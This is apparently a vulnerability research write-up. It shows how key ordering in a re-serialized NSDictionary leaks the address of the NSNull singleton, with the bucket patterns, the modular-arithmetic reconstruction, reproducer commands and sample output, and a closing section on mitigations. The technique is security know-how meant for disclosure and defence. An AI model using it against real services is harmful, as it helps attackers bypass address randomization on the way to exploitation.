Instances of the NSDictionary type are immutable hash tables and can contain arbitrarily-typed keys. Key hashes are mapped to hash table buckets using a simple modulo operation: hash_code % num_buckets. The number of hash buckets in a NSDictionary is always a prime number (see __CFBasicHashTableSizes); hash table sizes are chosen based on __CFBasicHashTableCapacities such that hash tables are normally roughly half-full (around 38%-62%), though the sizing is a bit different for small sizes. These are probing-style hash tables; so rather than having a linked list off each hash bucket, collisions are handled by finding alternate buckets to store colliding elements in using the policy __kCFBasicHashLinearHashingValue / FIND_BUCKET_HASH_STYLE == 1, under which insertion scans forward through the hash table buckets.

I haven't found source code for serialization of NSDictionary, but it appears to happen in the obvious way, by iterating through the hash buckets in order.

The attack

The basic idea: Infoleak through key ordering in serialized NSDictionary

If a targeted process fills an NSDictionary with attacker-chosen NSNumber keys (through deserialization), the attacker can control which hash buckets will be used by using numbers for which the number's hash modulo the hash table size results in the desired bucket index. If the targeted process then inserts an NSNull key (still as part of the same deserialization), and then serializes the resulting NSDictionary, the location of the NSNull key in the dictionary's serialized keys will reveal information about the hash of NSNull.

In particular, the attacker can create a pattern like this using NSNumber keys (where # is a bucket occupied by an NSNumber, and _ is a bucket left empty), where even-numbered buckets are occupied and odd-numbered buckets are empty, here with the example of a hash table of size 7:

bucket index:    0123456

bucket contents: #_#_#_#

This leaves three spots where the NSNull could be inserted (marked with !):

• At index 1 (#!#_#_#). This happens if hash_code % num_buckets is 6, 0, or 1. (For 6 and 0, insertion would scan linearly through the buckets until finding the free bucket at index 1.) This would result in NSNull being second in the serialized data.

• At index 3 (#_#!#_#). This happens if hash_code % num_buckets is 2 or 3. This would result in NSNull being third in the serialized data.

• At index 5 (#_#_#!#). This happens if hash_code % num_buckets is 4 or 5. This would result in NSNull being fourth in the serialized data.

If the serialized data is then sent back to the attacker, the attacker can distinguish between these three states (based on the index of the NSNull key in the serialized data), and learn in which range hash_code % num_buckets is.

Extending it: Leaking the entire bucket index

If the attack from the last section is repeated with the following pattern (occupying odd-numbered buckets and leaving even-numbered ones empty), this yields more information about hash_code % num_buckets:

0123456

_#_#_#_

(Caveat: Don't think too hard about how a hash table with 3 elements would use only 3 buckets and therefore wouldn't look like this. The actual reproducer uses hash tables with >=23 buckets.)

Now we have four spots where the NSNull could be inserted:

• At index 0, if hash_code % num_buckets is 0.

• At index 2, if hash_code % num_buckets is 1 or 2.

• At index 4, if hash_code % num_buckets is 3 or 4.

• At index 6, if hash_code % num_buckets is 5 or 6.

By combining the information from an NSDictionary that uses the even-buckets-occupied pattern and an NSDictionary that uses the odd-buckets-occupied pattern, the exact value of hash_code % num_buckets can be determined; for example, if the first pattern results in #_#!#_# and the second pattern results in _#!#_#_, then hash_code % num_buckets is 2.

So by sending a serialized NSArray containing two NSDictionary instances with these patterns of NSNumber and NSNull keys to some targeted process, and then receiving a re-serialized copy from the victim, an attacker can determine hash_code % num_buckets for NSArray.

Some math: Leaking the entire hash_code

To leak even more information about the hash_code, this can be repeated with different hash table sizes. The attack from the last section leaks hash_code % num_buckets, where num_buckets is a prime number that the attacker can pick from the possible sizes __CFBasicHashTableSizes based on how many elements are in each NSDictionary.

A useful math trick here is: Based on the values resulting from calculating hash_code modulo a bunch of different prime numbers, hash_code modulo the product of all those prime numbers can be calculated using the extended Euclidean algorithm. Therefore, based on knowing hash_code % num_buckets for the hash table sizes 23, 41, 71, 127, 191, 251, 383, 631 and 1087, it is possible to determine hash_code modulo 23*41*71*127*191*251*383*631*1087 = 0x5'ce23'017b'3bd5'1495. Because 0x5'ce23'017b'3bd5'1495 is bigger than the biggest value hash_code can have (since hash_code is 64-bit), that will be the actual value of hash_code - the address of the NSNull singleton.

Putting it together

So to leak the address of the NSNull singleton in the shared cache, an attacker has to send serialized data consisting of one large container (such as an NSArray) that, for each prime number of interest, contains two NSDictionary instances with the even-indices and odd-indices patterns. (The NSNull keys should come last in the attacker-provided serialized NSDictionary instances, so my reproducer constructs the serialized data manually as an XML plist, and I then convert it to a binary plist with plutil.)

This attacker-provided serialized data is about 50 KiB in size.

The targeted process then has to deserialize this data, serialize it again, and send it back to the attacker.

Afterwards, the attacker can determine in which buckets NSNull was stored in each NSDictionary, use the bucket indices from pairs of NSDictionary to determine hash_code % num_buckets for each hash table size, and then use the extended Euclidean algorithm to obtain hash_code, the address of the NSNull singleton.

The reproducer

I wrote a reproducer for this issue, consisting of my own victim program that runs on the target machine and attacker programs that provide serialized data to the target machine and receive re-serialized data from the target. (For easy reproduction, you can test this on a single machine, that's also what I did; though I rebooted between "attacker" and "target" to make sure the attacker isn't using the same shared cache address as the target.)

First, on the attacker machine, generate serialized data:

% clang -o attacker-input-generator attacker-input-generator.c

% ./attacker-input-generator > attacker-input.plist

% plutil -convert binary1 attacker-input.plist

Then, on the target machine, deserialize and re-serialize this data:

% clang round-trip-victim.m -fobjc-arc -fmodules -o round-trip-victim

% ./round-trip-victim attacker-input.plist reencoded.plist

2024-11-25 22:29:44.043 round-trip-victim[1257:11287] decoded

2024-11-25 22:29:44.049 round-trip-victim[1257:11287] reencoded

For validation, you can also use this helper on the target machine to see the real address of the CFNull singleton:

% clang debug-nsnull-hash.m -fobjc-arc -fmodules -o debug-nsnull-hash

% ./debug-nsnull-hash

null singleton pointer = 0x1eb91ab60, null_hash = 0x00000001eb91ab60

Then, on the attacker machine, process the re-serialized data:

% plutil -convert xml1 reencoded.plist

% clang -o extract-pointer extract-pointer.c

% ./extract-pointer < reencoded.plist

serialized data with 1111 objects

NSNull class is 12, NSNull object is 11

NSNull is elem 8 out of 13

NSNull is elem 7 out of 12

NSNull is elem 7 out of 22

NSNull is elem 7 out of 21

NSNull is elem 6 out of 37

NSNull is elem 5 out of 36

NSNull is elem 61 out of 65

NSNull is elem 60 out of 64

NSNull is elem 32 out of 97

NSNull is elem 31 out of 96

NSNull is elem 95 out of 127

NSNull is elem 95 out of 126

NSNull is elem 175 out of 193

NSNull is elem 175 out of 192

NSNull is elem 188 out of 317

NSNull is elem 188 out of 316

NSNull is elem 214 out of 545

NSNull is elem 214 out of 544

NSNull mod 23 = 14

NSNull mod 41 = 13

NSNull mod 71 = 10

NSNull mod 127 = 120

NSNull mod 191 = 62

NSNull mod 251 = 189

NSNull mod 383 = 349

NSNull mod 631 = 375

NSNull mod 1087 = 427

NSNull mod 0x000000000000000000000000000003af =

0x0000000000000000000000000000017e

NSNull mod 0x00000000000000000000000000010589 =

0x000000000000000000000000000059e6

NSNull mod 0x0000000000000000000000000081bef7 =

0xfffffffffffffffffffffffffff4177a

NSNull mod 0x00000000000000000000000060cd7a49 =

0x000000000000000000000000078e47f3

NSNull mod 0x00000000000000000000005ee976e593 =

0x000000000000000000000001eb91ab60

NSNull mod 0x000000000000000000008dff48e176ed =

0x000000000000000000000001eb91ab60

NSNull mod 0x0000000000000000015e003ca3bc222b =

0x000000000000000000000001eb91ab60

NSNull mod 0x0000000000000005ce23017b3bd51495 =

0x000000000000000000000001eb91ab60

NSNull = 0x1eb91ab60

Conclusion

This is a fairly theoretical attack; but I think it demonstrates that using pointers as object hashes for keyed data structures can lead to pointer leaks if everything lines up right, even without using timing attacks.

My example relies on the victim re-serializing the data; but a timing attack version of this might be possible too, with significantly more requests and sufficiently precise measurements.

In my testcase, NSDictionary made it possible to essentially leak information about the ordering of pointers and hashes of numbers by mixing keys of different types; but it is probably possible to leak some amount of information even from data structures that only use pointer keys without mixing key types, especially when the attacker can guess how far apart heap objects are allocated or such and/or can reference the same objects repeatedly across multiple containers.

The most robust mitigation against this is to avoid using object addresses as lookup keys, or alternatively hash them with a keyed hash function (which should reduce the potential address leak to a pointer equality oracle). However, that could come with negative performance effects - in particular, using an ID stored inside an object instead of the object's address could add a memory load to the critical path of lookups.